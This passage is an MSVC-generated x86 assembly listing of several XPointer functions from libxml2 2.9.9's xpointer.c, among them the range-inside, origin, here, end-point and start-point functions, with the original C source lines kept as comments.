; 1965 : if (node == (xmlNodePtr) ctxt->context->doc) {
cmp esi, edx
jne SHORT $LN27@xmlXPtrRan
$LN29@xmlXPtrRan:
; 2051 : xmlXPtrLocationSetAdd(newset,
push esi
call _xmlXPtrGetArity
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
jmp SHORT $LN15@xmlXPtrRan
$LN27@xmlXPtrRan:
; 1969 : switch (node->type) {
mov edx, DWORD PTR [esi+4]
lea eax, DWORD PTR [edx-1]
cmp eax, 12 ; 0000000cH
ja SHORT $LN22@xmlXPtrRan
movzx eax, BYTE PTR $LN51@xmlXPtrRan[eax]
jmp DWORD PTR $LN57@xmlXPtrRan[eax*4]
$LN30@xmlXPtrRan:
; 1970 : case XML_ATTRIBUTE_NODE:
; 1971 : /* !!! our model is slightly different than XPath */
; 1972 : return(xmlXPtrNewRange(node, 0, node,
; 1973 : xmlXPtrGetArity(node)));
; 1974 : case XML_ELEMENT_NODE:
; 1975 : case XML_TEXT_NODE:
; 1976 : case XML_CDATA_SECTION_NODE:
; 1977 : case XML_ENTITY_REF_NODE:
; 1978 : case XML_PI_NODE:
; 1979 : case XML_COMMENT_NODE:
; 1980 : case XML_DOCUMENT_NODE:
; 1981 : case XML_NOTATION_NODE:
; 1982 : case XML_HTML_DOCUMENT_NODE: {
; 1983 : int indx = xmlXPtrGetIndex(node);
mov ecx, esi
; 169 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp edx, 18 ; 00000012H
je SHORT $LN39@xmlXPtrRan
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov edx, 1
$LL37@xmlXPtrRan:
; 172 : if ((cur->type == XML_ELEMENT_NODE) ||
; 173 : (cur->type == XML_DOCUMENT_NODE) ||
mov eax, DWORD PTR [ecx+4]
cmp eax, 1
je SHORT $LN41@xmlXPtrRan
cmp eax, 9
je SHORT $LN41@xmlXPtrRan
cmp eax, 13 ; 0000000dH
jne SHORT $LN35@xmlXPtrRan
$LN41@xmlXPtrRan:
; 174 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 175 : i++;
inc edx
$LN35@xmlXPtrRan:
; 171 : for (i = 1;cur != NULL;cur = cur->prev) {
mov ecx, DWORD PTR [ecx+28]
test ecx, ecx
jne SHORT $LL37@xmlXPtrRan
; 1986 : return(xmlXPtrNewRange(node, indx - 1,
mov ecx, DWORD PTR [esi+20]
lea eax, DWORD PTR [edx+1]
push eax
; 2051 : xmlXPtrLocationSetAdd(newset,
push ecx
; 1986 : return(xmlXPtrNewRange(node, indx - 1,
lea eax, DWORD PTR [edx-1]
; 2051 : xmlXPtrLocationSetAdd(newset,
push eax
push ecx
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
jmp $LN15@xmlXPtrRan
$LN39@xmlXPtrRan:
; 1985 : node = node->parent;
mov ecx, DWORD PTR [esi+20]
; 170 : return(-1);
or edx, -1
; 1986 : return(xmlXPtrNewRange(node, indx - 1,
lea eax, DWORD PTR [edx+1]
push eax
; 2051 : xmlXPtrLocationSetAdd(newset,
push ecx
; 1986 : return(xmlXPtrNewRange(node, indx - 1,
lea eax, DWORD PTR [edx-1]
; 2051 : xmlXPtrLocationSetAdd(newset,
push eax
push ecx
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
jmp $LN15@xmlXPtrRan
$LN23@xmlXPtrRan:
; 1957 : return(xmlXPtrNewRange(loc->user, loc->index,
mov eax, DWORD PTR [ecx+32]
mov ecx, DWORD PTR [ecx+28]
push eax
; 2051 : xmlXPtrLocationSetAdd(newset,
push ecx
push eax
push ecx
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
jmp $LN15@xmlXPtrRan
$LN9@xmlXPtrRan:
; 2022 : ((ctxt->value->type != XPATH_LOCATIONSET) &&
; 2023 : (ctxt->value->type != XPATH_NODESET)))
; 2024 : XP_ERROR(XPATH_INVALID_TYPE)
push 11 ; 0000000bH
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2061 : }
mov esp, ebp
pop ebp
ret 0
$LN57@xmlXPtrRan:
DD $LN30@xmlXPtrRan
DD $LN29@xmlXPtrRan
DD $LN22@xmlXPtrRan
$LN51@xmlXPtrRan:
DB 0
DB 1
DB 0
DB 0
DB 0
DB 2
DB 0
DB 0
DB 0
DB 2
DB 2
DB 0
DB 0
_xmlXPtrRangeFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrRangeInsideFunction
_TEXT SEGMENT
_oldset$1$ = -8 ; size = 4
_set$1$ = -4 ; size = 4
_newset$1$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrRangeInsideFunction PROC ; COMDAT
; 2168 : xmlXPtrRangeInsideFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
sub esp, 8
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push edi
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _ctxt$[ebp]
test edi, edi
je $LN1@xmlXPtrRan
; 2169 : int i;
; 2170 : xmlXPathObjectPtr set;
; 2171 : xmlLocationSetPtr oldset;
; 2172 : xmlLocationSetPtr newset;
; 2173 :
; 2174 : CHECK_ARITY(1);
cmp DWORD PTR _nargs$[ebp], 1
je SHORT $LN6@xmlXPtrRan
push 12 ; 0000000cH
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
$LN6@xmlXPtrRan:
; 2169 : int i;
; 2170 : xmlXPathObjectPtr set;
; 2171 : xmlLocationSetPtr oldset;
; 2172 : xmlLocationSetPtr newset;
; 2173 :
; 2174 : CHECK_ARITY(1);
mov eax, DWORD PTR [edi+44]
inc eax
cmp DWORD PTR [edi+20], eax
jge SHORT $LN7@xmlXPtrRan
push 23 ; 00000017H
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
$LN7@xmlXPtrRan:
; 2175 : if ((ctxt->value == NULL) ||
mov eax, DWORD PTR [edi+16]
test eax, eax
je $LN9@xmlXPtrRan
mov eax, DWORD PTR [eax]
cmp eax, 7
je SHORT $LN8@xmlXPtrRan
cmp eax, 1
jne $LN9@xmlXPtrRan
$LN8@xmlXPtrRan:
push ebx
push esi
; 2179 :
; 2180 : set = valuePop(ctxt);
push edi
call _valuePop
mov ebx, eax
add esp, 4
mov DWORD PTR _set$1$[ebp], ebx
; 2181 : if (set->type == XPATH_NODESET) {
cmp DWORD PTR [ebx], 1
jne SHORT $LN10@xmlXPtrRan
; 2182 : xmlXPathObjectPtr tmp;
; 2183 :
; 2184 : /*
; 2185 : * First convert to a location set
; 2186 : */
; 2187 : tmp = xmlXPtrNewLocationSetNodeSet(set->nodesetval);
push DWORD PTR [ebx+4]
call _xmlXPtrNewLocationSetNodeSet
; 2188 : xmlXPathFreeObject(set);
push ebx
mov esi, eax
call _xmlXPathFreeObject
add esp, 8
; 2189 : if (tmp == NULL)
test esi, esi
jne SHORT $LN11@xmlXPtrRan
; 2190 : XP_ERROR(XPATH_MEMORY_ERROR)
push 15 ; 0000000fH
push edi
call _xmlXPathErr
add esp, 8
pop esi
pop ebx
$LN1@xmlXPtrRan:
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
$LN11@xmlXPtrRan:
; 2191 : set = tmp;
mov ebx, esi
mov DWORD PTR _set$1$[ebp], esi
$LN10@xmlXPtrRan:
; 2192 : }
; 2193 : oldset = (xmlLocationSetPtr) set->user;
mov esi, DWORD PTR [ebx+28]
; 2194 :
; 2195 : /*
; 2196 : * The loop is to compute the covering range for each item and add it
; 2197 : */
; 2198 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
mov DWORD PTR _oldset$1$[ebp], esi
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR _newset$1$[ebp], eax
; 2199 : if (newset == NULL) {
test eax, eax
jne SHORT $LN12@xmlXPtrRan
; 2200 : xmlXPathFreeObject(set);
push ebx
call _xmlXPathFreeObject
; 2201 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push edi
call _xmlXPathErr
add esp, 12 ; 0000000cH
pop esi
pop ebx
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
$LN12@xmlXPtrRan:
; 2202 : }
; 2203 : for (i = 0;i < oldset->locNr;i++) {
xor ebx, ebx
cmp DWORD PTR [esi], ebx
jle SHORT $LN3@xmlXPtrRan
npad 2
$LL4@xmlXPtrRan:
; 2204 : xmlXPtrLocationSetAdd(newset,
mov eax, DWORD PTR [esi+8]
mov eax, DWORD PTR [eax+ebx*4]
; 2074 : if (loc == NULL)
test eax, eax
je SHORT $LN23@xmlXPtrRan
; 2075 : return(NULL);
; 2076 : if ((ctxt == NULL) || (ctxt->context == NULL) ||
mov ecx, DWORD PTR [edi+12]
test ecx, ecx
je SHORT $LN23@xmlXPtrRan
cmp DWORD PTR [ecx], 0
je SHORT $LN23@xmlXPtrRan
; 2077 : (ctxt->context->doc == NULL))
; 2078 : return(NULL);
; 2079 : switch (loc->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 5
je $LN24@xmlXPtrRan
sub ecx, 1
je SHORT $LN30@xmlXPtrRan
; 2115 : case XML_PI_NODE:
; 2116 : case XML_COMMENT_NODE:
; 2117 : case XML_TEXT_NODE:
; 2118 : case XML_CDATA_SECTION_NODE: {
; 2119 : if (node->content == NULL) {
; 2120 : return(xmlXPtrNewRange(node, 0, node, 0));
; 2121 : } else {
; 2122 : return(xmlXPtrNewRange(node, 0, node,
; 2123 : xmlStrlen(node->content)));
; 2124 : }
; 2125 : }
; 2126 : case XML_ATTRIBUTE_NODE:
; 2127 : case XML_ELEMENT_NODE:
; 2128 : case XML_ENTITY_REF_NODE:
; 2129 : case XML_DOCUMENT_NODE:
; 2130 : case XML_NOTATION_NODE:
; 2131 : case XML_HTML_DOCUMENT_NODE: {
; 2132 : return(xmlXPtrNewRange(node, 0, node,
; 2133 : xmlXPtrGetArity(node)));
; 2134 : }
; 2135 : default:
; 2136 : break;
; 2137 : }
; 2138 : return(NULL);
; 2139 : }
; 2140 : }
; 2141 : default:
; 2142 : TODO /* missed one case ??? */
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 2142 ; 0000085eH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
$LN23@xmlXPtrRan:
; 2204 : xmlXPtrLocationSetAdd(newset,
xor esi, esi
$LN14@xmlXPtrRan:
push esi
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
mov esi, DWORD PTR _oldset$1$[ebp]
inc ebx
add esp, 8
cmp ebx, DWORD PTR [esi]
jl SHORT $LL4@xmlXPtrRan
mov eax, DWORD PTR _newset$1$[ebp]
$LN3@xmlXPtrRan:
; 2205 : xmlXPtrInsideRange(ctxt, oldset->locTab[i]));
; 2206 : }
; 2207 :
; 2208 : /*
; 2209 : * Save the new value and cleanup
; 2210 : */
; 2211 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
push eax
call _xmlXPtrWrapLocationSet
push eax
push edi
call _valuePush
; 2212 : xmlXPathFreeObject(set);
push DWORD PTR _set$1$[ebp]
call _xmlXPathFreeObject
add esp, 16 ; 00000010H
pop esi
pop ebx
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
$LN30@xmlXPtrRan:
; 2110 : if (loc->user2 != NULL) {
mov ecx, DWORD PTR [eax+36]
mov esi, DWORD PTR [eax+28]
test ecx, ecx
je SHORT $LN31@xmlXPtrRan
; 2111 : return(xmlXPtrNewRange(node, loc->index,
push DWORD PTR [eax+40]
push ecx
push DWORD PTR [eax+32]
push esi
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
mov esi, eax
jmp SHORT $LN14@xmlXPtrRan
$LN31@xmlXPtrRan:
; 2112 : loc->user2, loc->index2));
; 2113 : } else {
; 2114 : switch (node->type) {
mov eax, DWORD PTR [esi+4]
dec eax
cmp eax, 12 ; 0000000cH
ja SHORT $LN23@xmlXPtrRan
movzx eax, BYTE PTR $LN56@xmlXPtrRan[eax]
jmp DWORD PTR $LN64@xmlXPtrRan[eax*4]
$LN24@xmlXPtrRan:
; 2080 : case XPATH_POINT: {
; 2081 : xmlNodePtr node = (xmlNodePtr) loc->user;
mov esi, DWORD PTR [eax+28]
; 2082 : switch (node->type) {
mov eax, DWORD PTR [esi+4]
dec eax
cmp eax, 12 ; 0000000cH
ja SHORT $LN23@xmlXPtrRan
movzx eax, BYTE PTR $LN57@xmlXPtrRan[eax]
jmp DWORD PTR $LN65@xmlXPtrRan[eax*4]
$LN25@xmlXPtrRan:
; 2204 : xmlXPtrLocationSetAdd(newset,
mov eax, DWORD PTR [esi+40]
test eax, eax
jne SHORT $LN26@xmlXPtrRan
push eax
push esi
push eax
push esi
call _xmlXPtrNewRangeInternal
mov esi, eax
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
jmp $LN14@xmlXPtrRan
$LN26@xmlXPtrRan:
push eax
call _xmlStrlen
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
mov esi, eax
jmp $LN14@xmlXPtrRan
$LN27@xmlXPtrRan:
push esi
call _xmlXPtrGetArity
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
mov esi, eax
jmp $LN14@xmlXPtrRan
$LN9@xmlXPtrRan:
; 2176 : ((ctxt->value->type != XPATH_LOCATIONSET) &&
; 2177 : (ctxt->value->type != XPATH_NODESET)))
; 2178 : XP_ERROR(XPATH_INVALID_TYPE)
push 11 ; 0000000bH
push edi
call _xmlXPathErr
add esp, 8
pop edi
; 2213 : }
mov esp, ebp
pop ebp
ret 0
npad 3
$LN64@xmlXPtrRan:
DD $LN27@xmlXPtrRan
DD $LN25@xmlXPtrRan
DD $LN23@xmlXPtrRan
$LN56@xmlXPtrRan:
DB 0
DB 0
DB 1
DB 1
DB 0
DB 2
DB 1
DB 1
DB 0
DB 2
DB 2
DB 0
DB 0
npad 3
$LN65@xmlXPtrRan:
DD $LN27@xmlXPtrRan
DD $LN25@xmlXPtrRan
DD $LN23@xmlXPtrRan
$LN57@xmlXPtrRan:
DB 0
DB 0
DB 1
DB 1
DB 0
DB 2
DB 1
DB 1
DB 0
DB 2
DB 2
DB 0
DB 0
_xmlXPtrRangeInsideFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrOriginFunction
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrOriginFunction PROC ; COMDAT
; 1734 : xmlXPtrOriginFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je SHORT $LN1@xmlXPtrOri
; 1735 : CHECK_ARITY(0);
cmp DWORD PTR _nargs$[ebp], 0
je SHORT $LN3@xmlXPtrOri
push 12 ; 0000000cH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1741 : }
pop ebp
ret 0
$LN3@xmlXPtrOri:
; 1735 : CHECK_ARITY(0);
mov eax, DWORD PTR [esi+20]
cmp eax, DWORD PTR [esi+44]
jge SHORT $LN4@xmlXPtrOri
push 23 ; 00000017H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1741 : }
pop ebp
ret 0
$LN4@xmlXPtrOri:
; 1736 :
; 1737 : if (ctxt->context->origin == NULL)
mov eax, DWORD PTR [esi+12]
mov eax, DWORD PTR [eax+84]
test eax, eax
jne SHORT $LN5@xmlXPtrOri
; 1738 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1741 : }
pop ebp
ret 0
$LN5@xmlXPtrOri:
; 1739 :
; 1740 : valuePush(ctxt, xmlXPtrNewLocationSetNodes(ctxt->context->origin, NULL));
push 0
push eax
call _xmlXPtrNewLocationSetNodes
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
$LN1@xmlXPtrOri:
pop esi
; 1741 : }
pop ebp
ret 0
_xmlXPtrOriginFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrHereFunction
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrHereFunction PROC ; COMDAT
; 1716 : xmlXPtrHereFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je SHORT $LN1@xmlXPtrHer
; 1717 : CHECK_ARITY(0);
cmp DWORD PTR _nargs$[ebp], 0
je SHORT $LN3@xmlXPtrHer
push 12 ; 0000000cH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1723 : }
pop ebp
ret 0
$LN3@xmlXPtrHer:
; 1717 : CHECK_ARITY(0);
mov eax, DWORD PTR [esi+20]
cmp eax, DWORD PTR [esi+44]
jge SHORT $LN4@xmlXPtrHer
push 23 ; 00000017H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1723 : }
pop ebp
ret 0
$LN4@xmlXPtrHer:
; 1718 :
; 1719 : if (ctxt->context->here == NULL)
mov eax, DWORD PTR [esi+12]
mov eax, DWORD PTR [eax+80]
test eax, eax
jne SHORT $LN5@xmlXPtrHer
; 1720 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1723 : }
pop ebp
ret 0
$LN5@xmlXPtrHer:
; 1721 :
; 1722 : valuePush(ctxt, xmlXPtrNewLocationSetNodes(ctxt->context->here, NULL));
push 0
push eax
call _xmlXPtrNewLocationSetNodes
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
$LN1@xmlXPtrHer:
pop esi
; 1723 : }
pop ebp
ret 0
_xmlXPtrHereFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEndPointFunction
_TEXT SEGMENT
_oldset$1$ = -4 ; size = 4
_newset$1$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrEndPointFunction PROC ; COMDAT
; 1863 : xmlXPtrEndPointFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
push ecx
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je $LN1@xmlXPtrEnd
; 1864 : xmlXPathObjectPtr tmp, obj, point;
; 1865 : xmlLocationSetPtr newset = NULL;
; 1866 : xmlLocationSetPtr oldset = NULL;
; 1867 :
; 1868 : CHECK_ARITY(1);
cmp DWORD PTR _nargs$[ebp], 1
je SHORT $LN8@xmlXPtrEnd
push 12 ; 0000000cH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN8@xmlXPtrEnd:
; 1864 : xmlXPathObjectPtr tmp, obj, point;
; 1865 : xmlLocationSetPtr newset = NULL;
; 1866 : xmlLocationSetPtr oldset = NULL;
; 1867 :
; 1868 : CHECK_ARITY(1);
mov eax, DWORD PTR [esi+44]
inc eax
cmp DWORD PTR [esi+20], eax
jge SHORT $LN9@xmlXPtrEnd
push 23 ; 00000017H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN9@xmlXPtrEnd:
; 1869 : if ((ctxt->value == NULL) ||
mov eax, DWORD PTR [esi+16]
test eax, eax
je $LN11@xmlXPtrEnd
mov eax, DWORD PTR [eax]
cmp eax, 7
je SHORT $LN10@xmlXPtrEnd
cmp eax, 1
jne $LN11@xmlXPtrEnd
$LN10@xmlXPtrEnd:
push ebx
push edi
; 1873 :
; 1874 : obj = valuePop(ctxt);
push esi
call _valuePop
mov ebx, eax
add esp, 4
; 1875 : if (obj->type == XPATH_NODESET) {
cmp DWORD PTR [ebx], 1
jne SHORT $LN12@xmlXPtrEnd
; 1876 : /*
; 1877 : * First convert to a location set
; 1878 : */
; 1879 : tmp = xmlXPtrNewLocationSetNodeSet(obj->nodesetval);
push DWORD PTR [ebx+4]
call _xmlXPtrNewLocationSetNodeSet
; 1880 : xmlXPathFreeObject(obj);
push ebx
mov edi, eax
call _xmlXPathFreeObject
add esp, 8
; 1881 : if (tmp == NULL)
test edi, edi
jne SHORT $LN13@xmlXPtrEnd
; 1882 : XP_ERROR(XPATH_MEMORY_ERROR)
push 15 ; 0000000fH
push esi
call _xmlXPathErr
add esp, 8
pop edi
pop ebx
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN13@xmlXPtrEnd:
; 1883 : obj = tmp;
mov ebx, edi
$LN12@xmlXPtrEnd:
; 1884 : }
; 1885 :
; 1886 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR _newset$1$[ebp], eax
; 1887 : if (newset == NULL) {
test eax, eax
jne SHORT $LN14@xmlXPtrEnd
; 1888 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1889 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push esi
call _xmlXPathErr
add esp, 12 ; 0000000cH
pop edi
pop ebx
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN14@xmlXPtrEnd:
; 1890 : }
; 1891 : oldset = (xmlLocationSetPtr) obj->user;
mov eax, DWORD PTR [ebx+28]
mov DWORD PTR _oldset$1$[ebp], eax
; 1892 : if (oldset != NULL) {
test eax, eax
je SHORT $LN48@xmlXPtrEnd
; 1893 : int i;
; 1894 :
; 1895 : for (i = 0; i < oldset->locNr; i++) {
xor edi, edi
cmp DWORD PTR [eax], edi
jle SHORT $LN48@xmlXPtrEnd
npad 6
$LL4@xmlXPtrEnd:
; 1896 : tmp = oldset->locTab[i];
mov eax, DWORD PTR [eax+8]
mov eax, DWORD PTR [eax+edi*4]
; 1897 : if (tmp == NULL)
test eax, eax
je SHORT $LN2@xmlXPtrEnd
; 1898 : continue;
; 1899 : point = NULL;
; 1900 : switch (tmp->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 5
je SHORT $LN17@xmlXPtrEnd
sub ecx, 1
jne SHORT $LN2@xmlXPtrEnd
; 1903 : break;
; 1904 : case XPATH_RANGE: {
; 1905 : xmlNodePtr node = tmp->user2;
mov ecx, DWORD PTR [eax+36]
; 1906 : if (node != NULL) {
test ecx, ecx
je SHORT $LN19@xmlXPtrEnd
; 1907 : if ((node->type == XML_ATTRIBUTE_NODE) ||
mov edx, DWORD PTR [ecx+4]
cmp edx, 2
je SHORT $LN41@xmlXPtrEnd
cmp edx, 18 ; 00000012H
je SHORT $LN41@xmlXPtrEnd
; 1912 : }
; 1913 : point = xmlXPtrNewPoint(node, tmp->index2);
mov eax, DWORD PTR [eax+40]
jmp SHORT $LN24@xmlXPtrEnd
$LN19@xmlXPtrEnd:
; 1914 : } else if (tmp->user == NULL) {
cmp DWORD PTR [eax+28], 0
jne SHORT $LN2@xmlXPtrEnd
; 1915 : point = xmlXPtrNewPoint(node,
xor ecx, ecx
or eax, -1
; 1916 : xmlXPtrNbLocChildren(node));
; 1917 : }
; 1918 : break;
jmp SHORT $LN24@xmlXPtrEnd
$LN17@xmlXPtrEnd:
; 1901 : case XPATH_POINT:
; 1902 : point = xmlXPtrNewPoint(tmp->user, tmp->index);
mov ecx, DWORD PTR [eax+28]
mov eax, DWORD PTR [eax+32]
$LN24@xmlXPtrEnd:
; 1919 : }
; 1920 : default:
; 1921 : /*** Should we raise an error ?
; 1922 : xmlXPathFreeObject(obj);
; 1923 : xmlXPathFreeObject(newset);
; 1924 : XP_ERROR(XPATH_INVALID_TYPE)
; 1925 : ***/
; 1926 : break;
; 1927 : }
; 1928 : if (point != NULL)
push eax
push ecx
call _xmlXPtrNewPoint
add esp, 8
test eax, eax
je SHORT $LN2@xmlXPtrEnd
; 1929 : xmlXPtrLocationSetAdd(newset, point);
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
add esp, 8
$LN2@xmlXPtrEnd:
; 1893 : int i;
; 1894 :
; 1895 : for (i = 0; i < oldset->locNr; i++) {
mov eax, DWORD PTR _oldset$1$[ebp]
inc edi
cmp edi, DWORD PTR [eax]
jl SHORT $LL4@xmlXPtrEnd
$LN48@xmlXPtrEnd:
; 1930 : }
; 1931 : }
; 1932 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1933 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrWrapLocationSet
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
pop edi
pop ebx
$LN1@xmlXPtrEnd:
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN41@xmlXPtrEnd:
; 1908 : (node->type == XML_NAMESPACE_DECL)) {
; 1909 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1910 : xmlXPtrFreeLocationSet(newset);
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrFreeLocationSet
; 1911 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push esi
call _xmlXPathErr
add esp, 16 ; 00000010H
pop edi
pop ebx
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
$LN11@xmlXPtrEnd:
; 1870 : ((ctxt->value->type != XPATH_LOCATIONSET) &&
; 1871 : (ctxt->value->type != XPATH_NODESET)))
; 1872 : XP_ERROR(XPATH_INVALID_TYPE)
push 11 ; 0000000bH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1934 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrEndPointFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrStartPointFunction
_TEXT SEGMENT
_oldset$1$ = -4 ; size = 4
_newset$1$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrStartPointFunction PROC ; COMDAT
; 1767 : xmlXPtrStartPointFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
push ecx
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je $LN1@xmlXPtrSta
; 1768 : xmlXPathObjectPtr tmp, obj, point;
; 1769 : xmlLocationSetPtr newset = NULL;
; 1770 : xmlLocationSetPtr oldset = NULL;
; 1771 :
; 1772 : CHECK_ARITY(1);
cmp DWORD PTR _nargs$[ebp], 1
je SHORT $LN8@xmlXPtrSta
push 12 ; 0000000cH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
$LN8@xmlXPtrSta:
; 1768 : xmlXPathObjectPtr tmp, obj, point;
; 1769 : xmlLocationSetPtr newset = NULL;
; 1770 : xmlLocationSetPtr oldset = NULL;
; 1771 :
; 1772 : CHECK_ARITY(1);
mov eax, DWORD PTR [esi+44]
inc eax
cmp DWORD PTR [esi+20], eax
jge SHORT $LN9@xmlXPtrSta
push 23 ; 00000017H
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
$LN9@xmlXPtrSta:
; 1773 : if ((ctxt->value == NULL) ||
mov eax, DWORD PTR [esi+16]
test eax, eax
je $LN11@xmlXPtrSta
mov eax, DWORD PTR [eax]
cmp eax, 7
je SHORT $LN10@xmlXPtrSta
cmp eax, 1
jne $LN11@xmlXPtrSta
$LN10@xmlXPtrSta:
push ebx
push edi
; 1777 :
; 1778 : obj = valuePop(ctxt);
push esi
call _valuePop
mov ebx, eax
add esp, 4
; 1779 : if (obj->type == XPATH_NODESET) {
cmp DWORD PTR [ebx], 1
jne SHORT $LN12@xmlXPtrSta
; 1780 : /*
; 1781 : * First convert to a location set
; 1782 : */
; 1783 : tmp = xmlXPtrNewLocationSetNodeSet(obj->nodesetval);
push DWORD PTR [ebx+4]
call _xmlXPtrNewLocationSetNodeSet
; 1784 : xmlXPathFreeObject(obj);
push ebx
mov edi, eax
call _xmlXPathFreeObject
add esp, 8
; 1785 : if (tmp == NULL)
test edi, edi
jne SHORT $LN13@xmlXPtrSta
; 1786 : XP_ERROR(XPATH_MEMORY_ERROR)
push 15 ; 0000000fH
push esi
call _xmlXPathErr
add esp, 8
pop edi
pop ebx
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
